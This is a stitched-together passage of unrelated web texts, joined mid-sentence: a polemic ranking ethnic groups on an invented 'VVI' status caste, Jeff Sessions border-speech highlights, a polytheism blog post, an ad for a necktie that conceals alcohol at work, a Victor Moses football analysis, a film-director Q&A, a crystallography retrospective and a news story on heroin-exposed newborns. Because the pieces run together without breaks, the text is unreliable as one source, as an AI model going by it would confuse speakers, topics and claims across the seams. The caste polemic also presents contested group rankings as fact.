otherwise politically incorrect observations. He was only purged for offending Muslims, a group with a higher status VVI. But black sportscasters who make jokes about Asian men are rarely reprimanded because Asians have a lower VVI status. Jokes and politically incorrect remarks about lower-status VVI's such as Asians, Jews or women are permitted within liberal circles. Making those same remarks about middle-status VVI's is dangerous and generally frowned on. High-status VVI's are completely off limits to anyone who is not a member of that same group.This is more than just a guide on how to safely be politically incorrect, it's a map of the caste system under which we live. The caste system determines what jobs we get, what things we can say and what is expected of us in everything from job performance to conspicuous displays of social justice. It is how we live now, and it is vitally important to understand that it really is this way in every place that falls under the shadow of government mandates and the progressive Kulturkampf against equality.In the grip of the left, we have become a culture that rewards destruction and disruption, that feeds the worst behaviors and then blames their repetition on society's failings, rather than their own calculated tactical assault on the country. We can be a country where all Americans are equal or we can be a country where all Americans are equal... but some Americans are more equal than others in the name of remedying inequality.On Tuesday, Attorney General Jeff Sessions delivered a speech in Nogales, Arizona, regarding the Trump administration's immigration platform. Here are the 7 most important moments:
1. On The Seriousness of the Issue
"It's also here, along this border, that transnational gangs, like MS-13, and international cartels, flood our country with drugs, and leave death and violence in their wake. And it is here the criminal aliens and coyotes and the document forgers seek to overthrow our lawful system of immigration. So, let's stop here for a moment. When we talk about MS-13 and the cartels, what do we mean? We mean international criminal organizations that turn cities and suburbs into war zones, that rape and kill innocent civilians, and who profit by smuggling poison - and other human beings - across our borders. Depravity and violence are there calling cards, including brutal machete attacks - even beheadings. They threaten the very integrity of our nations in our hemisphere. It is here on this sliver of land, on this border, where we first take our stand."
2. Recent Successes
"From January to February of this year, illegal crossings dropped by 40% - which was an unprecedented drop. Then, last month we saw a 72% drop compared to the month before the president was inaugurated. That's the lowest monthly figure in 17 years. We are so proud of your work....this is what happens when you have a president who understands the threat, who is not afraid to publicly identify the threat, and stand up to it, and who makes clear to law enforcement that the leadership of their country finally has their back."
3. This is Just the Beginning
"The battle is far from over. We must follow up with the successes we've had so far, and here on the border we will do so...as we speak, I am issuing a document to all federal prosecutors that mandates the prioritization of immigration enforcement. Starting today, federal prosecutors are now required to consider for prosecution all of the following offenses - often not prosecuted in the past: The transportation and harboring of aliens...we are going to shut down and jail all who have been profiting from this lawlessness. Smuggling gang members across the border, helping convicted criminals re-enter the country, and praying on those who don't know how dangerous and costly this journey can be. Further, where an alien has unlawfully entered the country, which is a misdemeanor, that alien will now be charged with a felony if they unlawfully enter or attempt to enter a second time - and certain aggravating circumstances are present. Also, aliens that illegally re-enter the country after prior removal will be referred for felony prosecutions, and priority will be given to such offenses - especially where indicators of gang or cartel affiliation, or risk to public safety, drug smuggling, or criminal history are present. Fourth, where possible, prosecutors are directed to charge criminal aliens with document fraud and aggravated identity theft - the latter carrying a two year minimum mandatory penalty. Finally, and perhaps most importantly, I have directed that all 94 United States attorney's offices make the prosecution of assaults on federal officers a priority - assaults on you as you go about doing your duties. If someone dares to assault one of our folks in the line of duty, they will do federal time for it. You are very often away from backup, out in dangerous areas, and the smugglers and the drug dealers need to know that we will not tolerate any attacks on our federal officers.
4. Implementation
"To ensure that these priorities are implemented, starting today, each United States attorney's office, weather border or interior, will designate an assistant United States Attorney as the border coordinator in that district. It will be this experienced prosecutor's job to coordinate the criminal investigation and enforcement response for their specific office."
5. It's Gonna Get Tough
"For those that continue to seek improper and illegal entry into this country, be forewarned, this is a new era; this is the Trump era. The lawlessness, the abdication of duty to enforce our laws, and the catch-and-release policies of the past are over... I took an oath to protect this country from all enemies foreign and domestic. On behalf of our people, Congress has set very generous rules for immigration. The people have pleaded, however, with Congress and with their leaders to enforce those good rules for many, many years. They have often gotten promises from their leaders - but no action. Now is the time for action; now is the time we will have results. How else can we look at [the] parents and loved ones of Kate Steinle - and so many others in the eye - and say we are doing everything possible to prevent such tragedies in the future?"
6. Expedited Court Process
"Pursuant to the president's executive order, we will now be detaining all adults who are apprehended at the border. They will not be released. To support this mission, we have already surged 25 immigration judges to detention centers on the border...we will put 50 more immigration judges on the bench this year, and 75 next year. We can no longer afford to wait 18 to 24 months to get these judges on the bench. So today I'm implementing a new, streamlined hiring program. It requires just as much vetting as before of their skills and expertise, but reduces the hiring time. We must end the backlogs in our immigration courts."
7. It's Time to Take Things Seriously
"We will deploy a multifaceted approach. We are going to interdict your drugs on the way into this country, your money on the way out, and investigate and prosecute your trafficking networks to the fullest extent of the law. Why are we doing this? Because it's what the duly enacted laws of the united states require."
You can watch the speech in its entirety here:I was listening to an interview about polytheism with Galina Krasskova and Edward Butler (found here, and very much worth listening/watching), when a question was posed about the idea of each god being limited to a certain function or sphere – like people tend to think of there being, in any tradition, a “god of love” and a “god of the ocean” and a “god of vegetation,” etc. Oddly, I had just been talking with my (Heathen) partner about this, and how it’s not a particularly useful or accurate concept when describing real, living polytheism, either in the past or present. Edward had this to say in response, which I transcribed because it was so great I thought it needed to be preserved:
“I would say this is a typically modern misunderstanding of polytheism. For someone who is the particular devotee of a certain deity, that deity is – at least potentially – all things to them. For someone who is only peripherally concerned with a particular deity, that deity may be concerned with some narrow function, that they only need recourse to in a particular circumstance of their life, for instance. It’s one of the artifacts of our modern perspective these days – one of the misleading artifacts of that perspective – that we tend to look at all the deities from this peripheral perspective, and see them as having these narrowly circumscribed functions, and that again is partly because of an excessive reliance on the poets. It’s also because of other intellectual and conceptual confusions and distortions that have arisen over time.”
This is one of those things that, while I understand it and even exemplify it in my personal practice, I still find myself mistakenly slipping back into that erroneously simplistic conception especially when thinking of pantheons and gods I’m not familiar with. Which perhaps makes sense, as those would be deities who I would only be, at best, peripherally involved with, and therefore I see Them through the lens of those limited functions. But it’s good to keep in mind that every god is so much more than the “god of X” and can and will fulfill many roles in the life of Their devotee.
That’s not to say that They are all the same or interchangeable, or that They don’t each have areas of specialty. I may go to Dionysos for help with a problem totally outside His usual realms because we are close, but He’s still going to be the most helpful and most responsive with issues that are near and dear to Him. Still, He’s much more complex than just “the god of intoxication” or even “the god of liberation.” And plenty of other gods are involved in those things too, in Their own ways.
It’s true that we have been unduly influenced by the poets and storytellers, because (as Edward also pointed out) it’s not as if we can directly experience the living cultus that existed for our gods when it was thriving, and see how it might have differed from the myths that came down to us – we can reconstruct with the evidence we have, but we’re missing something crucial that I think will best be restored simply by practicing the living cultus today. It’s going to take time to recapture that mindset.
It’s important, though, to take note of these mistakes in thinking, especially because in some ways they can perpetuate harmful underlying concepts, even just subconsciously. For instance, the interviewer went on to ask, if the gods overlap in Their abilities and areas so much, what is the point in having more than one god at all? And see, that is a common response that reveals a critical assumption (again, even subconsciously): that gods are ultimately an invention of the human mind or culture, that people made up these gods of various aspects of life, and therefore one can question the point of having them overlap. Because it’s true, if it were just an invented system, it doesn’t always make sense or seem very elegant. But Galina’s wonderful response was that the point is, They exist. They exist and we are privileged to engage with Them. So you see, if you get too caught up in the mythology-book idea of the gods fitting into neat little boxes and each fulfilling a human need, you are subtly relegating Them to the position of human inventions, as sure as any anthropologist or psychologist might. The real gods are messy and complex and multi-faceted.
This more encompassing view of Them also kind of dismantles the reasoning behind thinking of gods as equivalent to other gods of similar functions. Hermes and Odin might both be gods of travellers and magic, but if you’ve gotten to know both of Them beyond Their functions, you’ll see how They are individuals with many non-intersecting areas of interest, strength, influence, etc. (This isn’t to say there can’t be useful syncretic practice, when done thoughtfully and carefully, but that doesn’t make those two gods the same, it just focuses on the places They overlap and intersect.)
Like Edward said, in antiquity people would have approached many if not most gods on a relatively simplistic level when they had occasional need of Them, seeing Them mostly through the filter of Their most well-known functions, and that’s fine – it is unnecessary and impossible to delve more deeply into all the gods, even just within one pantheon. But it’s good to remember that those depths exist, with all of Them.
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Tags: gods, polytheism, quotes, religion, syncretism, theology, videosFlask Tie Hides Drinks In Your Neckwear
From tiny buckle flasks to hidden drinking pouches, there are many ways to sneak a drink in the office. The best ones, though, are always those that you can wear out in the open without inviting any suspicion. The Flask Tie is one such contraption.
Styled to look like one of your cheap neckties (c'mon, man, you didn't expect Louis Vuitton or some other swanky thing, right?), it comes with a hidden pouch inside the fabric where you can hold your favorite NSFW beverage of choice. That way, you can walk around wearing a full load of alcohol around your neck, ready to loosen you up any time you feel the stresses of the day taking over.
The Flask Tie uses a slim, detachable bladder to hold your drinks, which slots inside the broad end of the necktie, obscured from sight. The narrow part of the tie (i.e. the back slip) holds the self-sealing tube where you can sip from, so everything is done inconspicuously. To keep things manageable, the pouch can only hold 6 oz. of your beverage of choice. While that isn't much, it should be enough to take away the edge any time you need it to.
The drinking components are made of plastic, with the actual tie constructed from cotton and polyester. Granted, it's probably not the most stylish accessory to put on if you're trying to look dapper, but life is a balancing act like that -- sometimes, you just have to prioritize your slight drinking problem.
You can pick up the Flask Tie for $30.Chelsea’s latest attacking midfield acquisitions, in the shape of Brazilian Willian and German André Schürrle, highlights the fact that they have an abundance of offensive talent at their disposal. Consequently, players such as the frighteningly talented Juan Mata have been pushed to the periphery of the squad in favor of these new additions, which appears ludicrous for someone with 25 assists in the past two years, and he’s been the clubs Player of the Year twice in the process. However Mata, a proven Spanish international, will be able to find plenty of suitors for his extraordinary talents but players in the shape of Victor Moses may have a tougher time of it as they are, as of yet, unproven top talents despite having the raw potential to really shine on the Premier League stage.
For players in Moses’ position there are three possible choices: they can either stay and fight for their place in the team by showing their potential in training and cup competitions; they could accept that they may never break into the first team and pack up in search of pastures new; or, finally, they can seek a loan move to gain more match experience and try to shine in a different environment.
Following plenty of recent speculation, it seems that Moses, and to some degree Chelsea, have chosen option three: to loan him out in order to aid his development and/or increase his price tag for next summer’s transfer window. Leading the race are Liverpool who, after many well publicized failed attempts to lure top attacking talent to the shores of the Mersey, are still looking to add strength and depth to their frontline. Following the departures of both Carroll and Downing, albeit to the relief of most LFC supporters, Brendan Rodgers has set his stall out to bring in talented forwards who can play across the front three, or four, if you take into account the AM position, but so far has only strengthened his offensive unit with Iago Aspas. Moses would definitely add an extra dimension to Rodgers’ team, with his more direct running game complementing the technical elements that are expected of a Rodgers Liverpool team. Yet with the right forward position in LFC’s line up still up for grabs, following Stewart Downing’s vacation of the role, could the young Nigerian be the solution or could he be an ample stop-gap until the club can identify new targets?
Victor Moses: Player Background
Moses, 22, is a Nigerian international who arrived in England as an asylum seeker at a young age, after the terrible deaths of his mother and father. He qualified for the England national team and had represented England at U16, U17, U19 and U21 level before choosing to represent his heritage and opt for Nigeria. He is one of many top talents to come through the, much vaunted Crystal Palace farm system, just look at Wilfred Zaha and Jonny Williams as other examples, where he made 58 senior appearances for the Eagles, scoring 11 goals. Unfortunately for Palace, Moses was a victim of the club’s financial troubles and was sold at a cut-price fee of £2.5 million, a small amount for such a young talented player, to Wigan. At Wigan, Moses excelled, gaining plaudits for his performances as he rose to prominence in the 2011/12 season before securing a move to Chelsea for a reported fee of £9 million.
During Chelsea’s turbulent 2012/13 season, Moses still managed to have a notable impact on the team’s fortunes with a Man of the Match performance in the League Cup win at Old Trafford versus Manchester United, scoring the late winner in the Champions League group stage match against Shakhtar Donetsk and performing a vital role in the Europa League winning team scoring 4 goals in 6 appearances. However, despite an impressive first campaign at Chelsea he looks set to complete a loan move to Liverpool before the window (cliché alert) slams shut on Monday evening.
Having predominantly played on Chelsea’s right wing, would Moses be an upgrade on the now departed Stewart Downing? And if so, could he become an integral part of the Liverpool front three? This article intends to investigate Moses’ form over the past two seasons, at Wigan and Chelsea, and to compare those performance levels to that of Stewart Downing.
Goal Scoring Instinct
As you can see from the table above, Moses’ time at Chelsea was limited to a large number of substitute appearances, he started only 12 games across the whole Premier League Campaign. This is in complete contrast to his time at Wigan where he played a significant role in every single game with only two of his appearances coming form the bench. Downing, after a slow start under Brendan Rodgers, managed to force himself into the first team, racking up a total of 29 appearances, which included an impressive run of 19 consecutive starts between the end of November and the start of April. The consequences of such a stop-start campaign for Moses cannot be underestimated. Some players thrive on being a substitute, for example Lukaku who scored 35% of his goals as a substitute last season, with others failing to impress due to the added pressure of trying to prove themselves in a short amount of time.
*Clear cut chance conversion (scored/missed)
The statistics above appear to show that neither player should be considered a consistent goal threat from the wide positions in the same vein as a Hazard (9 PL goals in 12/13) or Walcott (14 PL goals in 12/13). Yet in the 2011/12 season, Moses was top scorer in a struggling Wigan team that could only muster 42 goals between them. For a player who cannot be considered a conventional goal scorer this is quite impressive, especially considering he was just 20 at the time. It is surprising, however, that the goals dried up for him in the league at Chelsea, yet when you further explore his goal scoring exploits at the club in 2012/13, across the four Domestic and European Cup Competitions that he was involved in, he scored a total of 10 goals, the sixth highest in the team and more goals than the likes of Liverpool’s very own Daniel Sturridge at that time and just three less than Chelsea’s £32 million man, Eden Hazard. Despite playing over a thousand fewer minutes across the season than Downing, Moses only had 8 fewer shots than the Middlesbrough born winger in 2012/13. When looking back at the 2011/12 season, it can be seen that Moses took 69 shots with a 9% conversion rate. This highlights Moses’ confidence and ability to take and create more opportunities for him to unleash a shot at goal, something that Downing was renowned for shying away from and this may indicate the direct nature of Moses play. This could definitely improve a Liverpool team that has appeared reluctant to take a shooting opportunity when it has presented itself to them in recent seasons.
Creativity and Style of Play
*Refers to minutes played per chance or CCC created.
If anything the above statistics reinforce the evidence that Moses will bring a different dimension to the LFC attack when compared to Downing last year. Downing’s role in the Liverpool front three was often to hold the width to allow Suarez, and later on Daniel Sturridge, the space to exploit and create goals. This season, however, there has been a significant adaptation by Brendan Rodgers to this approach, which see’s Iago Aspas deployed on the right of the forward three, with him coming inside and often interchanging with both Sturridge and Coutinho to create a very fluid attacking unit. This requires each individual to have the technical and tactical ability to be a creative outlet for their side as well as have the attacking instincts to exploit any opportunities that may arise in the opponents defence, a skill set that Downing doesn’t fully possess. The difference in each players approach, can be seen in the contrasts between the number of dribbles they undertook over the whole season. In the 2012/13 season, Moses completed the same number of successful dribbles, albeit at a lower success rate than Downing, despite playing far fewer minutes. Moses tendency to dribble is further highlighted if you go back to his time at Wigan where he completed 95 successful dribbles, one every 34 minutes played. This may have been due to the fact that he was the team’s main offensive outlet so he took on the responsibility to get his team on the front foot, something that is quite admirable in a 20 year old. His dribbling success rate of 45.24% is higher than that of Gareth Bales during his stellar 2012/13 season (42.75%) and he succeeded with more significant dribbles, than both Bale (59) and Hazard (62) did last season.
An important part of Rodgers offensive system at Liverpool is the ability of each individual to carry both the goal scoring and also the creative burden for the team. In terms of creativity, Moses doesn’t stand out amongst such distinguished names. Across his two year stint from 2011 to 2013, Moses only laid on two assists for his team mates, and created only 9 clear cut chances (6 in 11/12 and 3 in 12/13) at an average of one CCC every 482 minutes of football. This does not stand up well in comparison to Downing’s 2012/13 season where he created 7 CCC for his team mates at a rate of one CCC every 313 minutes of football. Yet, Moses did manage to create a chance every 51.09 minutes of play during his time at Chelsea, something that is only slightly below Downing’s chance creation rate at Liverpool. It could easily be suggested that if Moses was transported in a more coherent attacking unit and offered more consistent game time, that he could improve on both these figures.
The final issue that Moses faces in joining Brendan Rodgers side is whether or not he can fit in to Rodgers style of play. Liverpool haven’t played the patient ‘tiki-taka’ football that everyone expected them to when they hired Rodgers from Swansea last summer, yet they do play with a high level of technical prowess with attacks often developing with swift interchanges of position within a fluid system. This is often followed by strategic bouts of intense pressure from the forward 3 in an effort to win the ball back. One area of concern for LFC fans, maybe Moses’ habit of getting dispossessed during his 2012/13 season, with Moses losing the ball every 59.16 minutes he played. This could be particularly worrying for a Liverpool side who, in recent times, have struggled with fast transitions and counter attacking moves that have left them short at the back, especially considering each fullbacks’ tendency to push on beyond the front three to add extra width. An area of Rodgers’ game plan that may suit Moses, is the need to win the ball back quickly to launch counter attacks high up the field. Moses is more adept at winning the ball back than Downing, in both the 11/12 (quite considerably in this instance) and the 12/13 seasons. This could be due to the fact that he has a strong frame, which he can use to shield the ball and force defenders off it. Finally having developed his game mainly under the
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on Robert Shaw assembling the Greener Gun on Jaws. The shark wasn’t working, so I just kept shooting to make the production report look like we were accomplishing something and to keep cast and crew from going crazy from boredom. It was a strategic indulgence.
Soderbergh: 48.
Fincher: 107.
Clooney: 18.
Nolan: I never pay attention to the number of takes.
Edgar Wright: I don’t think I have ever gone Kubrick crazy. So maybe 20 or so... But it’s usually six or seven takes.
Payne: Probably around 26. I’m normally a four-to-seven kind of guy, but every so often, when the actors, the operator, the dolly grip and the assistant cameramen must all work in sync, it might take a while to get right.
Marshall: I try not to do more than seven or eight. It can become counterproductive.
Cuarón: The long takes process doesn’t allow for that many takes. In the past I have shot over 50 takes of different shots. Sometimes you end up using take 64, sometimes take four.
Michell: Like current Australian batsmen... Very rarely double figures.
Lee: For acting, 13. For action, 36.
Bier: Twenty-five, I think. Which, if you’re trying to get the best performance, is way, way too much.
Joe Wright: Thirty-seven maybe, can’t really remember. I’m usually in the range of 12 to 16 unless it’s a very technically challenging shot.
Coppola: I can’t remember, nothing too crazy, because we never have that much time in the schedule.
Whedon: On an elaborate shot, 30. On a bit of dialogue, I’ve seldom gone into double digits.
Greengrass: I don’t count over ten.
How many cups of coffee a day?
Michell: Green tea or decaff.
Spielberg: I never had a cup of coffee in my life, but I have at least a dozen cups of mint tea a day.
Joe Wright: Way too many, hence the beta-blockers. I met my last assistant when she was working as a barista so we had an espresso machine in my office — that was dangerous.
Cuarón: No coffee. Green tea in the morning, white tea in the afternoon. Far too many.
Whedon: Only tea, ’til Age Of Ultron, where I got hooked. Even then, one or two. With tea in-between. Tea I can swill all day.
Bier: Two, maybe three. I drink loads of herbal tea, though, ten cups or so. A pretty unexciting habit, I know.
Greengrass: More than the most takes I’ve ever done!
Fincher: Three tops, or I become too caustic/vengeful.
Lee: Two.
Clooney: Three.
Marshall: One in the morning. One at ‘tea time’. But always iced.
Nolan: So many that I was forced to give it up and take up tea after Insomnia.
Soderbergh: Never had a cup of coffee in my life. Dr Pepper is my caffeine delivery system of choice.
Payne: About three double espressos.
Edgar Wright: Way too many. Once I had a potentially heart attack-inducing eight double espressos in one day. I think my assistant secretly swaps my coffees for decaf as she doesn’t want me to die of caffeine overdose.
What’s your best-ever day on set?
Clooney: Watching David Strathairn do a three-page monologue in one take on Good Night, And Good Luck.
Spielberg: My best day on set is just about every day.
Edgar Wright: Any time I think out loud, “I can’t believe this is my job,” and remember I am a very lucky duck. Whether marshalling hundreds of zombies, doing crazy stunts or shooting big music numbers, I just feel fortunate to have made my passion my vocation.
Whedon: Couldn’t choose. Any day I got the footage and sent the crew home on time is pretty damn fair. If that day involved people dancing, it’d probably make the short list.
Cuarón: When you allow the unexpected to happen and you flow with it.
Marshall: The first day working with an actor. Especially one I’ve always admired. And I’ve been lucky to work with so many…
Michell: Last day of shoot.
Soderbergh: When a difficult scene you’ve been dreading turns out to be easy, quick and good.
Bier: When a scene you’ve worried about turns out amazingly.
Joe Wright: Probably the day we shot the long Steadicam shot on the beach for Atonement. We spent the whole day preparing under heavy cloud but at sunset, just as we were ready to shoot, the sun dipped beneath the cloud and everything just came together, a huge team effort. We all, including the 1,000 extras from the local community of Redcar who had brought family and picnics, felt a sincere sense of ownership. I was beatific when I called, “Cut,” that day.
Fincher: When the plan goes totally awry, and something amazing happens...
Payne: Sorry to sound corny, but even the worst day on set is the best day on set and heads-and-shoulders above not shooting.
Lee: There were many days, but off the top of my head, one day on Brokeback Mountain, shooting the scene where Ennis visits Jack’s parents.
Coppola: When Bill Murray is there.
Greengrass: Probably Bloody Sunday. We had no money for extras and gambled on months of outreach to persuade the people of Derry to turn out and march for us on one single afternoon. And they did. In their tens of thousands. Seeing them march, their patience and their dignity and their commitment, I knew the movie would have a quality of truth.
Nolan: The last.
Real explosion or CGI explosion?
Spielberg: Saving Private Ryan boasts 100 per cent practical explosions.
Payne: Never done an explosion, but I have had explosive diarrhea, and that was very, very real. Good thing I have my trailer.
Edgar Wright: Real. So much more fun to shoot. On Hot Fuzz we even blew up a miniature of the police station and I made sure I was there when they detonated. Too much fun.
Whedon: Real is real. Nothing else is real. Unless it’s a safety issue, there’s no contest.
Soderbergh: Real, so far.
Bier: Real explosion. It’s really fun.
Marshall: Real, if possible – with CGI enhancement.
Joe Wright: Real explosion with CGI enhancement.
Lee: Real, with occasional CGI enhancement to sex it up.
Nolan: Real explosion.
Clooney: Real.
Cuarón: A real explosion is not only much more fun to shoot, it also helps the actors and creates an energy on set and ultimately in the scene.
Fincher: Real, contained and easily replicable (fast reset, propane?). On set – but with countless iterations of CG augmentation.
Greengrass: Both. Augmented reality.
Coppola: I don’t think I’ve ever done any explosions.
Michell: Huh?
What's the most useful advice you received from a fellow director?
Coppola: My dad told me, “Your movie’s never as good as the dailies and never as bad as the rough cut.”
Joe Wright: “Take whatever experience you can doing whatever you can so that when the big opportunity presents itself to you you’re as prepared as you can be.” Sidney Lumet said that but not to me, I read it in his book. Directors don’t often get to talk to other directors.
Lee: I dare not say in public.
Nolan: “Open the kimono” — Soderbergh telling me not to hide my process from the studio.
Soderbergh: “Write everything down.”
Clooney: “Only shoot what you’ll need.”
Whedon: James Cameron told me, “You can hire the 50 best people in the business, people you love and trust and respect. You all look at the monitor — you’re gonna be the only one who sees what’s wrong.”
Marshall: It was actually the opposite of what a director once said to me. He said, “Remember, everyone is here to serve you.” And as he walked away, I thought to myself, “It’s exactly the opposite: ‘I’m here to serve everyone.’”
Cuarón: I’ve been blessed with a lot of advice from other directors. Among the many: “Manage your energy”; “Story, actors, location”; “Fail on your own terms”; “One for me and one for myself”; “Don’t eat the red ones.”
Bier: The best advice I ever got was a result of the worst advice I ever got. When I was at film school, one of my teachers suggested it was a good idea for us directors to integrate ourselves into the crew by, say, rolling up the cables and moving lights etc. So I did – and was finally, and politely, asked by my crew to “do what you do best, and we’ll do the same”. Which was pretty embarrassing. And pretty good advice.
Greengrass: Before I made my first film, having previously worked only in documentaries, I went to see Roger Michell, an old university friend, and by then a hugely experienced and brilliant theatre and film director. He gave me a wonderful piece of advice. He said, “Never touch an actor.” By which he meant — don’t guide an actor. Don’t corral an actor. Don’t decide in advance where they should go. On the contrary, always listen to them. Always let them lead you. Always try to clarify their instincts. Because your actors will always be your best guide to the truth.
Michell: “If you think you might need a close-up... You need a close-up.”
Edgar Wright: John Sayles has this great quote: “Never do more than two takes of someone getting out of a car.” But the most inspiring one I received personally was from the aforementioned (name drop) Steven Spielberg, who I emailed with on the last week of shooting The World’s End, and he replied with this sentence: “Good luck on your last week. Finish strong.” I went in the next day with a spring in my step after that.
Payne: “Always speak to the actors singly and in a whisper.”
Fincher: Scorsese once told me, “The things you do poorly are as much a part of your style as the things you do well...” Which was totally true, and oddly reassuring.
Why didn't you just become an accountant?
Spielberg: I could never have been an accountant. I got a D in math.
Fincher: I’m not good enough with “people” to do that kind of work.
Joe Wright: If I could have done anything other than become a director I probably would have, but I couldn’t see any other options. It was all I could do and all I ever wanted to do.
Whedon: I am a storyteller. That is the very essence of my being. Also I can’t count.
Marshall: Hilarious! Not in my DNA.
Soderbergh: Terrible at math.
Greengrass: 2 + 2 = 5, right?
Whedon: I am a storyteller. That is the very essence of my being. Also I can’t count.
Bier: Because I’ve never looked at a tax return without immediately losing consciousness.
Coppola: It was inevitable, I guess, growing up on sets. Nothing looks as fun.
Michell: Is it too late?
Cuarón: The positions were all taken.
Lee: Directing a movie is a lot easier for me.
Clooney: Because I’m lousy at math.
Nolan: There’s enough number crunching in moviemaking to satisfy my accounting ambitions.
Edgar Wright: I am not even in spitting distance of being the greatest film director in the world, but I can say with the utmost certainty that I would be the worst accountant of all time.
Payne: Piss off.
Read the full article in the November issue of Empire, on sale now.As the International Year of Crystallography gives way to the International Year of Light, we end the #Crystallography365 series with a retrospective of how research in optics has advanced crystallography, and a prospective on how it will do so in the future.
There was crystallography before x-rays, but since 1912 the field has been intimately connected to x-ray optics [1]. In 1895, just after Maxwell had shown that light was a transverse electromagnetic wave, Rontgen discovered x-rays while conducting experiments of the optical properties of cathode rays. Rontgen’s mysterious x-rays captured worldwide attention; but particularly that of Arnold Sommerfeld’s. Although a theoretician himself, he had assembled an impressive group of experimentalists in his research group. Sommerfeld had surmised that that x-rays were transverse EM waves with a wavelength on the order of 1 angstrom, and furthermore that diffraction through a suitably sized slit would prove this fact.
In 1912 Max Von Laue, then an experimentalist in Sommerfeld’s group, showed that crystalline materials diffract x-rays, thus in just one single experiment demonstrating the wave nature of x-rays and the lattice structure of crystals [2]. Then using mathematical arguments from wave optics W.L Bragg (the son) developed his groundbreaking formulas relating the intensity of spots and structure. Later, using optics and engineering, W.H. Bragg (the father) constructed the first x-ray spectrometer, and Weissenberg invented the x-ray camera named after him [3].
The invention of synchrotron light sources and advances in x-ray optics have boosted crystallography to new heights. Synchrotrons were first built for particle physics applications. X-ray radiation production in synchrotrons is an energy-sapping nuisance, and literally holes needed to be drilled in the particle pipe to let the x-rays out. Of course scientists soon realized that this ‘waste radiation’ might be useful after all [4]. Today with many exotic x-ray optical designs, large synchrotron machines give crystallographers more and more brilliant monochromatic x-rays, and with the ability to get higher and higher resolutions in both space and time. This has been particularly useful in powder and macromolecular applications.
In the coming years research in optics holds many exciting opportunities for crystallographers. Advances in plasma photonics are reducing the size of x-ray sources such that light with characteristics previously only available at large synchrotron user facilities becomes available from machines small enough for individual labs [5-7].
Free electron lasers (FELs) provide peak brilliance 8 orders of magnitudes larger than synchrotron light sources, and pulses on the order of 10s of femtoseconds [8]. FELs are enabling ultra-short, but still ultra-bright light pulses that allow reliable structure determination from much smaller crystals. This is extremely important for protein crystallographers, shaving possibly years off the current process and opening the door to bigger and more membrane bound complexes [9]. The ultra-short pulse length and high repetition rates mean that chemical dynamics will routinely be studied crystallographically [10].
At the end of this celebration of 100 years of x-ray crystallography, crystallographers are in a sense where they’ve been all along, at the forefront of optics research. So the International Year of Light is a perfect successor to the International Year of Crystallography.
[1] Nave, C. (1999), Matching X-ray source, optics and detectors to protein crystallography requirements, Acta Cryst. D55, 1663-1668, doi:10.1107/S0907444999008380
[2] Von Laue, M. (1915), Nobel Lecture: Concerning the Detection of X-ray Interferences”. Nobelprize.org. Nobel Media AB 2014. Web. 31 Dec 2014. http://www.nobelprize.org/nobel_prizes/physics/laureates/1914/laue-lecture.html
[3] Weissenberg K., Ein neues Röntgengoniometer. Z. Physik, 23 (1924),229-238, doi: 10.1007/BF01327586
[4] Phillips, J. C., Wlodawer, A., Yevitz, M. M., & Hodgson, K. O. (1976). Applications of synchrotron radiation to protein crystallography: preliminary results. Proceedings of the National Academy of Sciences of the United States of America, 73(1), 128–132, PMCID: PMC335853
[5] Corde, S., Phuoc, K. T., Lambert, G., Fitour, R., Malka, V., Rousse, A., … & Lefebvre, E. (2013). Femtosecond x rays from laser-plasma accelerators. Reviews of Modern Physics, 85(1), 1, doi: 10.1103/RevModPhys.85.1
[6] Schlenvoigt, H-P., K. Haupt, A. Debus, F. Budde, O. Jäckel, S. Pfotenhauer, H. Schwoerer et al. (2007). A compact synchrotron radiation source driven by a laser-plasma wakefield accelerator. Nature Physics, 4(2), 130-133, doi:10.1038/nphys811
[7] Lyncean Technologies, http://www.lynceantech.com/
[8] Margaritondo, G., & Rebernik Ribic, P. (2011). A simplified description of X-ray free-electron lasers. Journal of synchrotron radiation, 18(2), 101-108, doi: 10.1107/S090904951004896X
[9] Spence, J. C., & Chapman, H. N. (2014). The birth of a new field. Philosophical Transactions of the Royal Society B: Biological Sciences, 369(1647), 20130309, doi: 10.1098/rstb.2013.0309
[10] Minitti, Michael P., James M. Budarz, Adam Kirrander, Joseph Robinson, Thomas J. Lane, Daniel Ratner, Kenichiro Saita et al. Toward structural femtosecond chemical dynamics: imaging chemistry in space and time. Faraday discussions 171 (2014): 81-91, doi: 10.1039/C4FD00030GMakenzee Kennedy lies down before a visit from her mother July 29 at Mt. Washington Pediatric Hospital in North Baltimore, which has a department that specializes in weaning newborns off heroin and methadone.
Makenzee Kennedy lies down before a visit from her mother July 29 at Mt. Washington Pediatric Hospital in North Baltimore, which has a department that specializes in weaning newborns off heroin and methadone. Bill O'Leary/The Washington Post
Mt. Washington Pediatric Hospital in Baltimore has a department that specializes in weaning newborns off heroin and methadone.
Mount Washington Pediatric Hospital in Baltimore has a department that specializes in weaning newborns off of heroin and methadone.
Mount Washington Pediatric Hospital in Baltimore has a department that specializes in weaning newborns off of heroin and methadone.
BALTIMORE — After a month of painful withdrawal that bunched her body into a tight ball, after tremors and diarrhea and sleeplessness and difficulty eating, Makenzee Kennedy went home to her bed in a drug rehab facility to celebrate a milestone: turning 2 months old.
She lives there for now with her mother, 31-year-old Ashley Kennedy, who is 11 years into her on-again, off-again struggle with heroin addiction. If all goes well, Makenzee will never again see the inside of Mount Washington Pediatric Hospital, where she was weaned off drugs through intensive, round-the-clock care.
“It’s not my first time trying to stop,” Ashley Kennedy acknowledged as she bottle-fed Makenzee. “It’s my last time now. I don’t want to touch another drug after putting my baby through this.”
In communities across the nation, the collateral damage of the heroin epidemic is rippling through the health-care system. The rate of hepatitis C is skyrocketing, fueled by needle sharing among addicts. Experts worry that an upturn in HIV rates may not be far behind. And the rate of fatal heroin overdoses has quadrupled over the past 10 years. In Baltimore, nearly two-thirds of the 302 overdose deaths last year were caused by heroin.
[Heroin deaths have nearly tripled in just three years, quadrupled in the past decade]
“We have a very serious issue in the U.S. right now in terms of the use of heroin and other opiate agents,” said Alan Spitzer, senior vice president at Mednax, which provides maternal and newborn medical services to hospitals.
Among the most heartbreaking developments: a sharp rise in the number of drug-exposed newborns like Makenzee. The incidence of “neonatal abstinence syndrome” has quadrupled over nine years, to 2.7 percent of all neonatal intensive care (NICU) admissions, according to a study published in May by Spitzer and others.
The cost to care for each child has also soared, to an average of $53,000 in 2009, according to other research.
With a bag of heroin now cheaper than a pack cigarettes, people once addicted to costly prescription opioids are turning to the cheaper street drug in alarming numbers, according to the Centers for Disease Control and Prevention. As a result, heroin has invaded suburban and rural America, places such as Elkton, a small town of 15,000 in northern Maryland where Ashley Kennedy grew up.
[Suburban addict describes his brush with death. Hopes for a better life.]
